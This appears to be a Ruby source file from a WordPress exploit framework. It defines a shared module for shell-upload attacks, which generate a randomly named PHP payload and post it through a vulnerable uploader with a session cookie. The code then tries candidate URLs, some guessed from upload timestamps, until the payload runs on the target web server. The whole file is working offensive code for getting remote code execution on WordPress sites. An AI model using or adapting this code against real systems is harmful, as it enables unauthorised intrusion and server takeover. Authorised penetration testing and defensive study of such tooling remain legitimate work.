lib/wpxf/wordpress/shell_upload.rb
# frozen_string_literal: true
# Provides reusable functionality for shell upload modules.
module Wpxf::WordPress::ShellUpload
include Wpxf
# Initialize a new instance of {ShellUpload}
def initialize
super
@session_cookie = nil
@upload_result = nil
@payload_name = nil
_update_info_without_validation(
desc: %(
This module exploits a file upload vulnerability
which allows users to upload and execute PHP
scripts in the context of the web server.
)
)
register_advanced_options([
IntegerOption.new(
name: 'payload_name_length',
desc: 'The number of characters to use when generating the payload name',
required: true,
default: rand(5..10),
min: 1,
max: 256
)
])
end
# @return [HttpResponse, nil] the {Wpxf::Net::HttpResponse} of the upload operation.
def upload_result
@upload_result
end
# @return [String] the file name of the payload, including the file extension.
def payload_name
@payload_name
end
# @return [String] the URL of the file used to upload the payload.
def uploader_url
nil
end
# @return [BodyBuilder] the {Wpxf::Utility::BodyBuilder} used to generate the uploader form.
def payload_body_builder
nil
end
# @return [String] the URL of the payload after it is uploaded to the target.
def uploaded_payload_location
nil
end
# @return [Array] an array of possible locations that the payload could have been uploaded to.
def possible_payload_upload_locations
nil
end
# Called prior to preparing and uploading the payload.
# @return [Boolean] true if no errors occurred.
def before_upload
true
end
# @return [Integer] the response code to expect from a successful upload operation.
def expected_upload_response_code
200
end
# @return [Hash] the query string parameters to use when submitting the upload request.
def upload_request_params
nil
end
# @return [String] the extension type to use when generating the payload name.
def payload_name_extension
'php'
end
# Run the module.
# @return [Boolean] true if successful.
def run
return false unless super
return false unless before_upload
emit_info 'Preparing payload...'
@payload_name = "#{Utility::Text.rand_alpha(_payload_name_length)}.#{payload_name_extension}"
builder = payload_body_builder
return false unless builder
emit_info 'Uploading payload...'
return false unless _upload_payload(builder)
emit_info 'Executing the payload...'
_validate_and_prepare_upload_locations.each do |payload_url|
break if execute_payload(payload_url)&.code != 404
end
true
end
# @return [Boolean] true if the result of the upload operation is valid.
def validate_upload_result
true
end
# Execute the payload at the specified address.
# @param payload_url [String] the payload URL to access.
# @return [HttpResponse] the HTTP response of the request to the payload URL.
def execute_payload(payload_url)
res = execute_get_request(url: payload_url, cookie: @session_cookie)
emit_success "Result: #{res.body}" if res && res.code == 200 && !res.body.strip.empty?
res
end
# @return [Integer] the number of seconds to adjust the upload timestamp range start and end values by.
def timestamp_range_adjustment_value
10
end
# @return [Array] the range of possible timestamps that could have been used when the payload reached the target.
def upload_timestamp_range
(@start_timestamp - timestamp_range_adjustment_value)..(@end_timestamp + timestamp_range_adjustment_value)
end
private
def _validate_and_prepare_upload_locations
payload_urls = possible_payload_upload_locations
return payload_urls unless payload_urls.nil?
payload_url = uploaded_payload_location
return false unless payload_url
emit_success "Uploaded the payload to #{payload_url}", true
[].push(payload_url)
end
def _payload_name_length
normalized_option_value('payload_name_length')
end
def _upload_payload(builder)
@start_timestamp = Time.now.to_i
builder.create do |body|
@upload_result = execute_post_request(url: uploader_url, params: upload_request_params, body: body, cookie: @session_cookie)
end
@end_timestamp = Time.now.to_i
if @upload_result.nil? || @upload_result.timed_out?
emit_error 'No response from the target'
return false
end
if @upload_result.code != expected_upload_response_code
emit_info "Response code: #{@upload_result.code}", true
emit_info "Response body: #{@upload_result.body}", true
emit_error 'Failed to upload payload'
return false
end
validate_upload_result
end
end